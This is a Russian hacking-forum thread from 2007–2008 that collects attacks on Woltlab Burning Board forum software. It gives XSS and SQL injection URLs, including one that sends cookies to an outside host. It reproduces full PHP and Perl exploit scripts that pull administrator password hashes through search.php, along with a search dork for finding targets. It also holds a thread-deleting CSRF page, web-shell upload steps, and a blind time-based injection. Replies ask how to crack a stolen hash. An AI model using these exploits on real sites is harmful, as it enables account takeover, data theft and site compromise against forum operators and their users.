Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
[Обзор уязвимостей Woltlab Burning Board + Lite] |

07.07.2007, 21:36
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме: 9254548
Репутация:
1942
|
|
[Обзор уязвимостей Woltlab Burning Board + Lite]
Burning Board 2.0 \ 2.0.1 \ 2.0.2
XSS
Wiw.php сценарий не достаточно фильтрует данные, представленные пользователем в sortby и order параметрах. Уязвимость может использоваться для доступа к куки пользователя wBB форума.
Пример:
Код:
/board/wiw.php?sid=&order=%22%3E%3Cscript%20type= %22text/javascript%22%3Eal ert(document.cookie);%3C/script%3E%3Cb%20%22
Burning Board 2.0
sql инъекция
Из за недостаточного сканирования параметров, обрабатываемых сценарием board.php, атакующий может внедрить произвольный SQL код в существующий SQL запрос. Уязвимость позволяет атакующему модифицировать данные в базе данных, выполнять произвольные команды и получать привилегии администратора BBS.
Пример:
Код:
board.php?boardid=[boardid]%27,%20userid=%27[victims userid, 1 is usually an admin]&sid=[attackers session-id]
Burning Board 2.х
sql инъекция
Уязвимость существует в функции verify_email() при обработке входных данных формы в переменной $email. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
Код:
sre464hfrgt6@4g546ufgfrh5.org' OR (userid=1 AND MID(password,1,1)='a')/*
Burning Board 2.x
XSS
при регистрации в полях:
Код:
username
email addres
password
confirm password
homepage
icq uin
aim screenname
yim screenname
msn screenname
срабатывает xss.
Burning Board 2.3.1 и более ранние версии
XSS
Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей. Уязвимость существует в сценарии 'thread.php' из-за некорректной обработки входных данных в параметре 'hilight'.
Пример:
Код:
/thread.php?threadid=[TOPIC_ID]&hilight=[XSS]
Burning Board 2.2.2/2.3.3 и более ранние версии
sql инъекция
Пример:
Код:
/modcp.php?action=post_del&x='SQ L_CODE_HERE
/modcp.php?action=post_del&x=6&y='SQL_CODE_HERE
Burning Board 2.3.4
XSS
Уязвимость позволяет удаленному пользователю произвести XSS нападение. Уязвимость существует из-за недостаточной обработки входных данных в сценарии "acp/lib/class_db_mysql.php".
пример:
Код:
/wbb/xx.php?<script>location.href='http://yoursite.com/xss.php? cook='+escape(document.cookie)</script>
Burning Board 2.3.5
XSS
Уязвимость позволяет удаленному пользователю произвести XSS нападение. Уязвимость существует из-за недостаточной обработки входных данных в вложениях. Удаленный пользователь может с помощью специально сформированного изображения (GIF файл с расширением .jpg) выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Burning Board 2.3.6
sql инъекция
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием search.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
3 сплоита под это дело:
PHP код:
<?php
/*
###################################
# http://www.undergroundagents.de #
# coded by silent vapor #
# webmaster@undergroundagents.de #
###################################
*/
print_r('
--------------------------------------------------------------------------------
Woltlab Burning Board Lite <= 1.0.2 GetHashes over search.php
Woltlab Burning Board <= 2.3.6 GetHashes over search.php
by silent vapor (webmaster@undergroundagents.de)
site: http://www.undergroundagents.de
dork: "Powered by Burning Board Lite 1.0.2" or
"Powered by Burning Board 2.3.6"
--------------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path boardid searchstring OPTIONS
host: target server (ip/hostname)
path: path to wbblite
boardid: a boardid where you will search
searchstring: a searchstring, that will be found in this board
Options:
-o[prefix]: " a table prefix (default: bb1_)
-p[port]: " a port other than 80
-P[ip:port]: " a proxy
-t[n]: " adjust query timeout (default: 10)
Example:
php '.$argv[0].' localhost /wbblite/ 28 avatar
" " localhost / 29 cpu -p81 -P127.0.0.1:8080
--------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$boardid=$argv[3];
$searchstring=$argv[4];
$prefix = "bb1_";
$port=80;
$timeout=10;
$proxy="";
for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-t")
{
$timeout=(int) str_replace("-t","",$argv[$i]);
}
if ($temp=="-o")
{
$prefix=str_replace("-o","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
$path .= "search.php";
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$boardids="boardids%5B%5D=$boardid) UNION SELECT username,password FROM ".$prefix."users WHERE 1 NOT IN (0,0";
$data = "searchstring=$searchstring&searchuser=&name_exactly=1&$boardids&showposts=0&searchdate=0";
$data .= "&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&submit=Suchen";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: wbb_userpassword=0;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("Database error",$html)){
echo "<b>vulnerable...</b><br><br>";
$temp1=explode("b.boardid IN (",$html);
$temp2=explode(")",$temp1[1]);
$temp3=explode("&sid=",$temp2[0]);
$temp4=$temp3[0];
$temp5=explode(",",$temp4);
for ($i=0;$i<count($temp5);$i++)
{
if ($i%2 == 0)
echo $temp5[$i]." ( Hash: ";
else
echo $temp5[$i].")<br>";
}
}
?>
Код:
#!/usr/bin/perl
# Woltlab Burning Board 2.X/Lite search.php SQL Injection exploit - burned.pl
# written by trew <trew@safe-mail.net>
#
# should work on every wbb regardless of php settings.
#
# v 1.2 - added 1337 sql filter evasion, version identification,better regex,raw cookie
# v 1.1 - added wbblite support (thx to lama)
#
#
#
# !PRIVATE! - !PRIVATE!
#
# Leaked by some morons from egocrew
#
use strict; # 1337
use warnings; # 31337
use LWP::UserAgent;
use HTTP::Response;
use HTTP::Status;
use Getopt::Std;
getopt('uisUpAclC');
our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_l, $opt_C );
my $target = shift;
sub do_request($$);
if ( !$target ) { &HELP_MESSAGE; }
my ( $host, $folder );
if ( $target =~ /(?:http:\/\/)?([\w\.\-\_]*)(\/.*)?/ ) {
$host = $1;
$folder = ( $2 ? $2 : '/' );
if ( $folder !~ /\/$/ ) { $folder .= '/'; }
$target = "http://$host$folder" . 'search.php';
}
else { &HELP_MESSAGE; }
my $ip = ( $opt_i ? $opt_i : '127.0.0.1' );
my $searchstring = ( $opt_s ? $opt_s : 'board' );
my ( $userid, $userpassword, $proxy, $proxyip );
( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U;
( $proxy, $proxyip ) = split( ':', $opt_p ) if $opt_p;
my $uid = ( $opt_u ? $opt_u : 1 );
my $useragent =
( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
my $prefix = ( $opt_c ? $opt_c : 'wbb2_' );
my $lite = ( $opt_l ? $opt_l : 0 );
my $isHash = 0;
print "burned.pl written by trew\n";
print "report errors \@ trew\@safe-mail.net.. thx\n";
print "[x] Attacking $target...\n";
if ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; }
if ( !$lite ) {
print "[x] Checking wbb version...\n";
if ( do_request( '', 'editor.jar' ) =~ /404 Not Found/ ) {
print "[x] Looks like a wbblite\n";
$prefix = "" if ( !$opt_c );
$lite = 1;
}
else { print "[x] Looks like a normal wbb\n"; }
}
if ( !$lite ) {
if ( !$opt_c ) {
my $headers = do_request( '', '' );
if ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) {
$prefix = $1;
}
else { print $headers}
}
print "[x] Cookie prefix: $prefix\n";
}
print "[x] Vulnerable check:";
my $answer;
my $pre;
$answer = do_request( '\'', '' );
if ( $answer =~ /FROM (.*?)_boards/ ) {
$pre = $1;
print " Vulnerable\n";
}
elsif ($answer =~ /Die Suche ergab keine/
or $answer =~ /No results were found for this search/
or $answer =~ /Your search is invalid/
or $answer =~ /Ihre Suchabfrage ist/ )
{
print " No Idea\n";
print "[x] Searchstring was not found, try a different one with -s\n";
exit;
}
elsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/
or $answer =~ /Access denied/ )
{
print " No Idea\n";
print "[x] search.php only for users,";
print " wrong userdetails or wrong cookie-prefix!\n" if $opt_U;
print " give me userid+password with -U\n" if !$opt_U;
exit;
}
else {
print " Not Vulnerable!\n";
#print $answer;
exit;
}
print "[x] Unleashing black magic...\n";
$answer = do_request(
' UNION/*s12s*/ SELECT/*t35s*/ password , password /*er35*/ FRoM ' . $pre
. '_users WHeRE/*esr35*/ userid='
. $uid . '/*',
''
);
if ( $answer =~ /${folder}search.php/ and $answer =~ /([a-f0-9]{32})/ ) {
print "[x] Looks good!\n";
print "[x] Userid: $uid\n";
print "[x] Hash: $1\n";
if ( !$opt_C ) {
print
"[x] Use this Cookie:\n ${prefix}userid=$uid;${prefix}userpassword=$1\n";
}
}
else {
print "[x] Looks bad!\n";
print $answer;
}
sub HELP_MESSAGE() {
print "burned.pl written by trew\n"
. "perl $0 [options] url\n"
. "examples:\n"
. "perl $0 woltlab.de/forum/\n"
. "perl $0 -u 2 -i 127.0.0.2 woltlab.de/de/forum/\n"
. "overwrite -c and -l only when the auto-check "
. "gives you a false result\n"
. "use -C when you need some special cookies\n"
. "options :\n-u userid of victim [1]\n"
. "-i faked client-ip [127.0.0.1]\n"
. "-s searchstring [board]\n"
. "-U userid:password or userid:pwhash [none]\n"
. "-p proxyip:proxyport [none]\n"
. "-A user-agent [firefox 1.5.09]\n"
. "-c cookie-prefix [auto-check]\n"
. "-l wbblite mode [auto-check]\n"
. "-C raw cookie\n";
exit;
}
sub do_request($$) {
my $string = shift;
my $otherurl = shift;
if ($otherurl) { $target = "http://$host$folder" . $otherurl; }
else { $target = "http://$host$folder" . 'search.php' }
$string = '/*' if ( !$string );
my $ua = LWP::UserAgent->new;
if ($proxy) { $ua->proxy( 'http', "http://$proxy:$proxyip/" ); }
my $request = new HTTP::Request( 'POST', $target );
$request->content( 'boardids%5B0%5D=1&boardids%5B1%5D=2,3,4)' . $string
. '&send=1&searchstring='
. $searchstring );
$request->content_type('application/x-www-form-urlencoded');
$request->header( 'User-Agent' => $useragent );
if ($opt_U) {
my $userhash;
if ( !$isHash ) { $userhash = md5($userpassword); }
else { $userhash = $userpassword; }
my $cookie = $prefix
. 'userid='
. $userid . ';'
. $prefix
. 'userpassword='
. $userhash;
$request->header( 'Cookie' => $cookie );
}
elsif ($opt_C) {
$request->header( 'Cookie' => $opt_C );
}
$request->header( 'Client-Ip' => $ip );
my $response = $ua->request($request);
my $body = $response->content;
my $headers = $response->headers_as_string;
$body = $response->error_as_HTML if ( $response->is_error );
return $headers if ( $string eq '/*' and !$response->is_error );
return $body;
}
# MD5 Code ripped from Libwhisker for bigger portability
# thx rfp :)
{
my ( @S, @T, @M );
my $code = '';
sub md5 {
return undef if ( !defined $_[0] ); # oops, forgot the data
my $DATA = _md5_pad( $_[0] );
&_md5_init() if ( !defined $M[0] );
return _md5_perl_generated( \$DATA );
}
sub _md5_init {
return if ( defined $S[0] );
my $i;
for ( $i = 1 ; $i <= 64 ; $i++ ) {
$T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) );
}
my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 );
for ( $i = 0 ; $i < 64 ; $i++ ) {
$S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ];
}
@M = (
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12,
5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2,
0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9
);
&_md5_generate();
my $TEST = _md5_pad('foobar');
if ( _md5_perl_generated( \$TEST ) ne
'3858f62230ac3c915f300c664312c63f' )
{
die('Error: MD5 self-test not successful.');
}
}
sub _md5_pad {
my $l = length( my $msg = shift() . chr(128) );
$msg .= "\0" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 );
$l = ( $l - 1 ) * 8;
$msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 );
return $msg;
}
sub _md5_generate {
my $N = 'abcddabccdabbcda';
my ( $i, $M ) = ( 0, '' );
$M = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems
$code = <<EOT;
sub _md5_perl_generated {
BEGIN { \$^H |= 1; }; # use integer
my (\$A,\$B,\$C,\$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476);
my (\$a,\$b,\$c,\$d,\$t,\$i);
my \$dr=shift;
my \$l=length(\$\$dr);
for my \$L (0 .. ((\$l/64)-1) ) {
my \@D = unpack('V16', substr(\$\$dr, \$L*64,64));
(\$a,\$b,\$c,\$d)=(\$A,\$B,\$C,\$D);
EOT
for ( $i = 0 ; $i < 16 ; $i++ ) {
my ( $a, $b, $c, $d ) =
split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
$code .=
"\$t=((\$$d^(\$$b\&(\$$c^\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
$code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
}
for ( ; $i < 32 ; $i++ ) {
my ( $a, $b, $c, $d ) =
split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
$code .=
"\$t=((\$$c^(\$$d\&(\$$b^\$$c)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
$code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
}
for ( ; $i < 48 ; $i++ ) {
my ( $a, $b, $c, $d ) =
split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
$code .= "\$t=((\$$b^\$$c^\$$d)+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
$code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
}
for ( ; $i < 64 ; $i++ ) {
my ( $a, $b, $c, $d ) =
split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
$code .= "\$t=((\$$c^(\$$b|(~\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
$code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
}
$code .= <<EOT;
\$A=\$A+\$a\&0xffffffff; \$B=\$B+\$b\&0xffffffff;
\$C=\$C+\$c\&0xffffffff; \$D=\$D+\$d\&0xffffffff;
} # for
return unpack('H*', pack('V4',\$A,\$B,\$C,\$D)); }
EOT
eval "$code";
}
} # md5 package container
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Response;
$| = 1;
print "
###################################################
##
## Woltlab Burning Board 2.3.6 <= / Lite Exploit
##
###################################################
##
## Coded by 666 <http://blueshisha.mutebox.net>
## Bug by trew
##
###################################################
\n";
if($#ARGV < 0)
{
print "[x] Usage: wbbsploit.pl [Target] [Userid] [Searchstring]\n";
exit;
}
print "<~> Exploiting...\n";
my $url = shift;
my $id = shift;
my $sstring = shift;
my $ua = LWP::UserAgent->new;
my $request = new HTTP::Request('POST', 'http://'.$url.'search.php');
$request->content('searchuser=&name_exactly=1&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&sid=&submit=Suchen&boardids%5B%5D=1)%20UNION%20SELECT%20username,password%20FROM%20bb1_users%20WHERE%20userid='.$id.'/*&searchstring='.$sstring.'');
$request->content_type('application/x-www-form-urlencoded');
my $response = $ua->request($request);
my $body = $response->content;
print "<~> Hash: ";
$body=~/([a-f0-9]{32})/;
print $1;
print "\n";
спасибо багтракам хакера, и секлаба.
Последний раз редактировалось BlackCats; 08.07.2007 в 01:25..
|
|
|

07.07.2007, 21:37
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме: 9254548
Репутация:
1942
|
|
Lite версии
Burning Board Lite 1.0.2(последняя на данный момент lite версия)
XSS
при регистрации в полях:
Код:
username
email addres
password
confirm password
homepage
icq uin
aim screenname
yim screenname
msn screenname
location
interests
Occupation
срабатывает xss.
Burning Board Lite 1.0.2
XSS
если разегистрироваться и указать в качестве ника "><script>alert(99)</script>
то при входе в аккаунт скрипт будет срабатывать - xss.
Burning Board Lite 1.0.2
доступ в директорию /acp/lib/ свободен(/acp - админка, и туда - тока с пассом) а там лежит файл config.php
\\//
также в админке присутствуют xss решил что не стоит про них писать... но если комуто интересно... я напишу.
Burning Board Lite 1.0.2pl3e
sql инъекция
Уязвимость существует из-за недостаточной обработки входных данных в параметре "pmid[0]" в сценарии pms.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Для успешной эксплуатации требуется валидная учетная запись пользователя и чтобы приложение было запущено на MySQL 4.1 или выше.
Burning Board Lite 1.0.2pl2e
sql инъекция
Уязвимость существует из-за недостаточной обработки входных данных в параметре "threadvisit" в файле куки. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
уязвимости модулей:
Database 2.5 (модуль для Woltlab Burning Board)
sql инъекция
Уязвимость существует при обработке входных данных в параметрах fileid и subkatid в сценарии info_db.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
Пример:
Код:
/info_db.php?action=file&fileid=[SQL-Injection]
/info_db.php?action=file&fileid=59&subkatid=[SQL-injection]
если где ошибся - говорите, исправлю.
заливаем шелл:
Burning Board Lite 1.0.2
заливаем шелл:
в админке жмём Add Avatar
далее заливаем наш шелл, расширение php пропускает.
шелл будет находиться по адресу:
Код:
/images/avatars/avatar-shell.php(при имени шелла shell.php)
Последний раз редактировалось BlackCats; 07.07.2007 в 21:46..
|
|
|

11.07.2007, 23:06
|
|
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
Провел на форуме: 2009677
Репутация:
472
|
|
alex155, есть вероятность того, что у каждой версии форума есть свои файлы, т.е в более новой версии могут быть файлы, которых нету в более старой версии, по наличию/отсутствию таких файлов можно определить версию.
|
|
|

24.07.2007, 00:59
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
Провел на форуме: 178647
Репутация:
143
|
|
Раскрытие префикса БД
wbb 2.3.4
/forum/thread.php?threadid=37&page=-2
Код:
SQL-DATABASE ERROR
Database error in WoltLab Burning Board (2.3.4): Invalid SQL: SELECT postid, attachments FROM bb1_posts WHERE threadid = '37' AND visible=1 ORDER BY posttime ASC LIMIT -30, 10
mysql error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-30, 10' at line 1
mysql error number: 1064
mysql version: 4.1.16-max
php version: 5.1.6
Date: 23.07.2007 @ 23:55
Script: /forum/thread.php?threadid=37&page=-2
Последний раз редактировалось Elekt; 12.01.2008 в 18:01..
|
|
|

05.09.2007, 17:01
|
|
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме: 9089375
Репутация:
4268
|
|
Спасибо автору за информацию! Я выдрал с помощью сплоита хэш, но что с ним теперь делать? Все программы говорят, что алгоритм не Md 5 кто может подсказать как мне его расшифровать?
Сначала думал что это сессия, НО он (кукис) неизменен. Значит это как то связанно с паролем. Курил исходники но так и не понял что почем.
__________________
...
Последний раз редактировалось Alexsize; 05.09.2007 в 17:08..
|
|
|

09.09.2007, 01:41
|
|
Постоянный
Регистрация: 21.08.2007
Сообщений: 367
Провел на форуме: 3578960
Репутация:
468
|
|
алгоритм sha1 попробуй.
|
|
|
Woltlab Burning Board Lite 1.0.2pl3e SQL-inj |

24.12.2007, 23:12
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
Woltlab Burning Board Lite 1.0.2pl3e SQL-inj
PHP код:
<?php
$host = $argv[1];
$path = $argv[2];
$searchstring = $argv[3];
$userid = $argv[4];
If ($argc <= 4)
{
echo "Usage: filename.php [host] [path] [searchstring] [user-id] \n Examples:
\n php filename.php localhost /wbblite/search.php Computer 1\n php
filename.php localhost /search.php Board 1\n";
die;
}
$sqlinjecting
= "searchstring=$searchstring&searchuser=&name_exactly=1&boardids%5B%5D=*&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=%27%20UNION%20SELECT%20password%20FROM%20bb1_users%20WHERE%20userid=$userid%20/*&send=send&sid=&submit=Suchen";
$con = fsockopen($host, 80);
echo("==Woltlab Burning Board LITE SQL-Injection Exploit founded and coded
by NBBN. \n\n\n");
sleep(1);
fputs($con, "POST $path HTTP/1.1\n");
fputs($con, "Host: $host\n");
fputs($con, "Content-type: application/x-www-form-urlencoded\n");
fputs($con, "Content-length: ". strlen($sqlinjecting) ."\n");
fputs($con, "Connection: close\n\n");
fputs($con, "$sqlinjecting\n");
while(!feof($con)) {
$res .= fgets($con, 128);
}
echo("Well done...\n");
fclose($con);
echo $res;
echo "The password-hash is in search.php?searchid=[Hash]\n";
$the_hash = substr($res,strpos($res,'searchid=')+9,32);
echo "Hash: $the_hash\n\n";
?>
__________________
|
|
|

18.01.2008, 23:48
|
|
Познающий
Регистрация: 15.01.2008
Сообщений: 78
Провел на форуме: 189620
Репутация:
26
|
|
Сообщение от SchmeL
Раскрытие префикса БД
wbb 2.3.4
/forum/thread.php?threadid=37&page=-2
Код:
SQL-DATABASE ERROR
Database error in WoltLab Burning Board (2.3.4): Invalid SQL: SELECT postid, attachments FROM bb1_posts WHERE threadid = '37' AND visible=1 ORDER BY posttime ASC LIMIT -30, 10
mysql error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-30, 10' at line 1
mysql error number: 1064
mysql version: 4.1.16-max
php version: 5.1.6
Date: 23.07.2007 @ 23:55
Script: /forum/thread.php?threadid=37&page=-2
Проверил, актуально и для wbb 2.3.5
|
|
|
Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability |

25.01.2008, 03:11
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability
XSRF Vulnerability
Vulnerable: Woltlab Burning Board 2.3.6 PL2
Код HTML:
<html>
<head>
</head>
<body onLoad="javascript:document.it.submit()">
<form action="http://localhost/xampp/wbb2/modcp.php" method="post" name="it">
<input type="hidden" name="action" value="thread_del" />
<input type="hidden" name="threadid" value="5" /> <!-- Здесь id темы-->
<input type="hidden" name="send" value="send" />
<input type="hidden" name="sid" value="" />
<input type="submit" accesskey="S" value="Ja" class="input" />
</body>
</html>
Атакующий может отправить администратору/модератору ссылку на страницу с вышеописанным кодом и тогда тема с указанным id будет удалена.
Последний раз редактировалось iddqd; 25.01.2008 в 11:19..
|
|
|

21.02.2008, 04:39
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
WoltLab Burning Board 3.0.3 PL1 SQL Injection Vulnerability
Vulnerable: WoltLab Burning Board 3.0.3 PLX
WoltLab Burning Board 3.0.2 PLX
WoltLab Burning Board 3.0.1 PLX
WoltLab Burning Board 3.0.0 PLX
PoC:
Код:
http://site.tld/wbb3/index.php?page=PMList&folderID=0&pageNo=1&sortFi
eld=isViewed&sortOrder=ASC,
(SELECT password FROM wcf1_user WHERE userID=1 AND
IF(ORD(SUBSTR(password,1,1))>55,BENCHMARK(3000000,
MD5(23)),1))
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|